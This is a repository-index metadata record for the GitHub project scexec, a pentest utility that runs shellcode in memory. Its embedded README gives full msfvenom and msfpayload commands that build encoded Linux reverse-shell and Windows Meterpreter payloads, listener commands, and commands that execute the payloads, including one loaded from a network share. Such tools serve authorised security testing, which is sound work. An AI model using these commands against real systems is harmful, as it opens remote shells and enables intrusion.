{"id":17244674,"url":"https://github.com/kost/scexec","last_synced_at":"2025-04-14T04:08:39.878Z","repository":{"id":18057816,"uuid":"21114481","full_name":"kost/scexec","owner":"kost","description":"Portable utility to execute in memory a sequence of opcodes","archived":false,"fork":false,"pushed_at":"2016-08-28T09:57:07.000Z","size":187,"stargazers_count":18,"open_issues_count":0,"forks_count":10,"subscribers_count":4,"default_branch":"master","last_synced_at":"2025-04-14T04:08:37.282Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/kost.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2014-06-23T05:02:17.000Z","updated_at":"2024-10-17T09:56:21.000Z","dependencies_parsed_at":"2022-08-04T22:15:14.755Z","dependency_job_id":null,"html_url":"https://github.com/kost/scexec","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kost%2Fscexec","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kost%2Fscexec/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kost%2Fscexec/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kost%2Fscexec/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kost","download_url":"https://codeload.github.com/kost/scexec/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248819404,"owners_count":21166477,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-10-15T06:26:55.464Z","updated_at":"2025-04-14T04:08:39.856Z","avatar_url":"https://github.com/kost.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"[![Build Status](https://travis-ci.org/kost/scexec.png)](https://travis-ci.org/kost/scexec)\n\nscexec\n======\n\nPortable utility to execute in memory a sequence of opcodes\n\nFeatures\n========\n\n- Linux/Windows/Mac support\n- Visual C/C++, gcc, mingw32/mingw64 support\n- Raw/Alphanumeric/Base64/UUdecode support\n- Commandline argument/File support\n\nExamples\n========\n\n## Linux target\n\n    $ msfvenom -p linux/x86/shell_reverse_tcp -a x86 --platform linux -e x86/alpha_mixed -f raw LHOST=192.168.1.1 LPORT=4444 EXITFUNC=thread BufferRegister=EAX\n    $ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E\n    $ ./scexec \u003cmsfencode's alphanumeric-encoded payload\u003e\n\n## Windows target\n\n    msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -e x86/alpha_mixed -f raw LHOST=192.168.1.1 LPORT=4444 EXITFUNC=thread BufferRegister=EAX\n    msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 E\n    C:\\\u003e scexec.exe \u003cmsfencode's alphanumeric-encoded payload\u003e\n\n## Windows target with base64\n\n    msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f raw LHOST=192.168.1.1 LPORT=4444 EXITFUNC=thread | perl utils/base64encode.pl\n    msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 E\n    C:\\\u003e scexec.exe b \u003cmsfpayload-base64encoded-payload\u003e\n\n## Linux target with uudecode/uuencode\n\n    $ msfvenom -p linux/x86/shell_reverse_tcp -a x86 --platform linux -f raw LHOST=192.168.1.1 LPORT=4444 EXITFUNC=thread | perl utils/uuencode.pl\n    $ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E\n    $ ./scexec u \u003cmsfpayload-uuencoded-payload\u003e\n\n## Few more quick examples\n\nRead and execute payload from filename msfpayloadfn.raw:\n\n    C:\\\u003e scexec.exe f msfpayloadfn.raw\n\nRead and execute base64 encoded payload from filename msfpayloadfn.base64:\n\n    C:\\\u003e scexec.exe fb msfpayloadfn.base64\n\nRead and execute uuencoded payload from share:\n\n    C:\\\u003e \\\\192.168.1.1\\\\scexec.exe fu \\\\192.168.1.1\\\\msfpayload.uuencoded\n\nOptions explained\n=================\n\nOptions can be combined:\n\nno options - read alphanumeric shellcode from commandline\n\na - execute shellcode through call eax/rax\n\nf - read shellcode from file\n\nb - treat input shellcode as base64 encoded\n\nu - treat input shellcode as uuencoded shellcode\n\n\nBuilding\n========\n\n### Linux/Mac/POSIX builds\n\nJust type:\n\n    make\n\n### Mingw builds:\n\n32 bit:\n\n    make CC=i686-w64-mingw32-gcc STRIP=i686-w64-mingw32-strip OUT=scexec32.exe\n\n64 bit:\n\n    make CC=x86_64-w64-mingw32-gcc STRIP=x86_64-w64-mingw32-strip OUT=scexec64.exe\n\n### Visual Studio:\n\n32 bit:\n\n    nmake /f Makefile.vc\n\n64 bit:\n\n    nmake /f Makefile.v64\n\n### Builds\n\n    make CC=i386-mingw32-gcc STRIP=i386-mingw32-strip OUT=../bin/scexec-win32.exe\n    make CC=i686-w64-mingw32-gcc STRIP=i686-w64-mingw32-strip OUT=../bin/scexec-win32c.exe\n    make CC=x86_64-w64-mingw32-gcc STRIP=x86_64-w64-mingw32-strip OUT=../bin/scexec-win64.exe\n    make CC=gcc STRIP=strip OUT=../bin/scexec-macosx-x64-dyn.bin\n    make CC=armeb-linux-gcc STRIP=armeb-linux-strip CFLAGS=-static OUT=../bin/scexec-armeb-linux.bin\n    make CC=arm-linux-gcc STRIP=arm-linux-strip CFLAGS=-static OUT=../bin/scexec-arm-linux-static.bin\n    make CC=mips-linux-gcc STRIP=mips-linux-strip CFLAGS=-static OUT=../bin/scexec-mips-linux-static.bin\n    make CC=mipsel-linux-gcc STRIP=mipsel-linux-strip CFLAGS=-static OUT=../bin/scexec-mipsel-linux-static.bin\n\n\nOld MSF Examples\n================\n\n## Linux target\n\n    $ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX\n    $ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E\n    $ ./scexec \u003cmsfencode's alphanumeric-encoded payload\u003e\n\n## Windows target\n\n    msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX\n    msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 E\n    C:\\\u003e scexec.exe \u003cmsfencode's alphanumeric-encoded payload\u003e\n\n## Windows target with base64\n\n    msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 R | perl utils/base64encode.pl\n    msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 E\n    C:\\\u003e scexec.exe b \u003cmsfpayload-base64encoded-payload\u003e\n\n## Linux target with uudecode/uuencode\n\n    $ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.1.1 R | perl utils/uuencode.pl\n    $ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E\n    $ ./scexec u \u003cmsfpayload-uuencoded-payload\u003e\n\nCredits\n=======\n\nVlatko Kosturjak\n\nBased on Bernardo Damele A. G. shellcodeexecute\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkost%2Fscexec","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fkost%2Fscexec","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkost%2Fscexec/lists"}